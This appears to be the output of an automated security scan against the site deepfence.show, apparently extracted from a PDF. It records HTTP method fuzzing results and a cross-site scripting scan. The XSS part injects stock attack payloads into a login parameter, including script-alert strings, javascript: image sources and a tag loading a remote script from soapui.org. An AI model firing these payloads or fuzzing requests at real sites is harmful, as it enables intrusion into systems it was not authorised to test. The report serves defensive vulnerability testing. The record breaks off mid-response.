Sometimes, unexpected HTTP verbs can overwrite data on a server or get data that shouldn't be 
revealed to clients.
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request COPY https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method COPY
ResponseContent-type: text/html; charset=utf-8
603 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot COPY /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'64092248d9f22133',m:'
3931eeeaa297955c9ea52b77416f61e687a92280-1618531232-1800-Aa/K+XPI+
HCAncD4JpCNRK3fIcgRtYc7wpIMyX+
zchW1lzQP79ur8ZomCCcnLsjbcLuLMEjLXAGrXnNrtdoPc/+l0Gz2wCq75B3SA+/pcNYlvpfB1
/J2Sm5PdWrsmpL83g==',s:[0xfadaddec53,0xc6e31769fb],}})();</script></body> 
</html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource.COPY
Issue Number #121
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/Request UNLOCK https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method UNLOCK
ResponseContent-type: text/html; charset=utf-8
605 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot UNLOCK /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'6409224b2e512133',m:'
6363a2f6e1e0d6012c4d7665fb991f8c4074ebf8-1618531232-1800-
AZASBJuGeGLnbvS1zXKTgKp0GkWE+ENjWCyg3Ocev1QFywyaMR7u1vS/
2PDudXLYrFfWsCoXlYAhzfiku9rQ6Z5ARr0qUaRSTiNrvGNRy5xioUIJRiW0DXbuCWpunzbxxQ
==',s:[0x4132eec092,0xbc691b3044],}})();</script></body> </html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource. UNLOCK
Issue Number #122
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request LOCK https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method LOCK
ResponseContent-type: text/html; charset=utf-8
603 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot LOCK /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'6409224d4a182133',m:'
850466a3ce12e71ce3a67c577020a274718431dd-1618531233-1800-AWh9xH+
tBV5u3QQIF2aDttRmxPvYHh/yx9fF1Xgo3H2KEjg/94evh+z5a3b3NTWqHRe1HxOzpsb/
u34K22rykFN5fXfhB1+TEO2o/wzHG95L+wrNSvYPrQ4S5T5T75rE0Q==',s:[
0x88ea8322a7,0x515831038c],}})();</script></body> </html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource.LOCK
Issue Number #123
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request PROPFIND https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
method PROPFIND
ResponseContent-type: text/html; charset=utf-8
607 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot PROPFIND /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'6409224f8e922133',m:'
b532dafd37005eba2e969148790b923900230320-1618531233-1800-
AUVlevSjkCdst2y3NLOTCVbULWz1ah4TbfLmBzybUraJhwTwr1nqO2DUspqoiaIY6ujVZWSJ9R
BMvmQKl1QF+3wGYAvByl5IIys42kflFDa3cWo14um8/KOLjwgNE+2VEg==',s:[
0xc16b6ee63c,0xeb16087225],}})();</script></body> </html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource. PROPFIND
Issue Number #124
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request PATCH https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method PATCH
ResponseContent-type: text/html; charset=utf-8
604 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot PATCH /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'64092251cb1e2133',m:'
3b226166ac3837b92db4fa8a6ce774ec717168e8-1618531233-1800-AS2o+
CzgadItWnxCmKXwNuPq/P1Cfv/fem63I58AmDYxNdPgtXGOhG8gN6SiOoIlni3qq9BWRAvuU+
sYp4vjkyevlMPhqwIThZGErGEhBQuz85glMfcJfUAep4CNn8LnxA==',s:[
0x11ef069925,0x8cef9fe175],}})();</script></body> </html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource.PATCH
Issue Number #125
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request OPTIONS https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuemethod OPTIONS
ResponseContent-type: text/plain
2 Content length: 
Full response:
ok
Alerts Valid HTTP Status Codes: Response status code: 200 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource. OPTIONS
Issue Number #126
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request HEAD https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method HEAD
Response No content
Alerts Valid HTTP Status Codes: Response status code: 200 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource.HEAD
Issue Number #127
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request DELETE https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method DELETE
ResponseContent-type: text/html; charset=utf-8
605 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot DELETE /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'6409225b391e9304',m:'
3ceb574460e21ea436cd987db5bce8293111f2b5-1618531235-1800-Af1pE/
zGtZFAhtkiM5kMZguJ+z/+w6dWLuXeqhJjGB4+BUCASehb+SBy+2ZSypZjRON+
nnrCDphiKgVzyoIwg4jnUVSTUUPe3LX7e1PV+SsBHfEiaFw0hN/6Z8nWUlL9oA==',s:[
0x4e5f63afff,0x528c4293b6],}})();</script></body> </html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource. DELETE
Issue Number #128Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request PUT https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method PUT
ResponseContent-type: text/html; charset=utf-8
602 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot PUT /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'6409225e0a819304',m:'
d69e6b29239a6ae763df934aa44751e899bb3dc2-1618531235-1800-
ARCYhwuI3lAYftVCEf/
zPlrGTKHoo82G2eAZPcoBr2qbkqhPMWkBdDu8b8INP6MTzuvZcpEphIaM22t1gW0MLOYsd0JFc
RrLOxzkaDfm6Q8gRBMF+dmF9cevsqubsZCGog==',s:[0x3a01927ce3,0x076a9a063a],}})
();</script></body> </html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource.PUT
Issue Number #129
Scan HTTP Method Fuzzing
Severity WARNING
Endpoint https://deepfence.show/
Request POST https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
method POST
ResponseContent-type: text/html; charset=utf-8
603 Content length: 
Full response:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>
Error</title> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-
rl81O2OQ.js"></script><script async src='/cdn-cgi/bm/cv/669835187/api.js'>
</script></head> <body> <pre>Cannot POST /</pre> <script type="text/
javascript">(function(){window['__CF$cv$params']={r:'64092260cc129304',m:'
b1d51c9d5b56c29a5732fcf89a42f363f830c9d7-1618531236-1800-
AcnUwz5l5OLJZ775Yd3qf1458l2uDCo45Cl3mvl8fhhD475vvefOFajUE9VngdtcI9JP6Kplai
cYLbYObV0/f0nEuexFtLKIco+0nQRPsgymj1nt50aan0EFJN0LegKqIw==',s:[
0x6a168ab71c,0xaee68643c2],}})();</script></body> </html>
Alerts Valid HTTP Status Codes: Response status code: 404 is not in acceptable list of status codes
Action Points You should check if the HTTP method  should really be allowed for this resource.POST
Issue Number #130Cross Site Scripting
A Cross-Site Scripting (XSS) Scan attacks clients of the system under test by inserting dynamic code 
like JavaScript into the input, hoping that the same code is echoed in the response. 
However, this is only a problem if the response is consumed directly by a browser or if HTML is built 
in a naive way from the response. In other words, Cross-Site Scripting Scans may sometimes give 
you false positives.
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<PLAINTEXT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #131
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@ ';alert(String.fromCharCode(88,83,83))//\';alert(deepfence.io String.fromCharCode(88,83,83))//";alert(String.fromCharCode(
88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT
>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #132
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io '';!--"<XSS>=&{()}
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #133
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #134
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #135
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC=javascript:alert('XSS')>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #136
Cross Site ScriptingScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC=JaVaScRiPt:alert('XSS')>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #137
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC=javascript:alert(&quot;XSS&quot;)>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #138
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #139
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
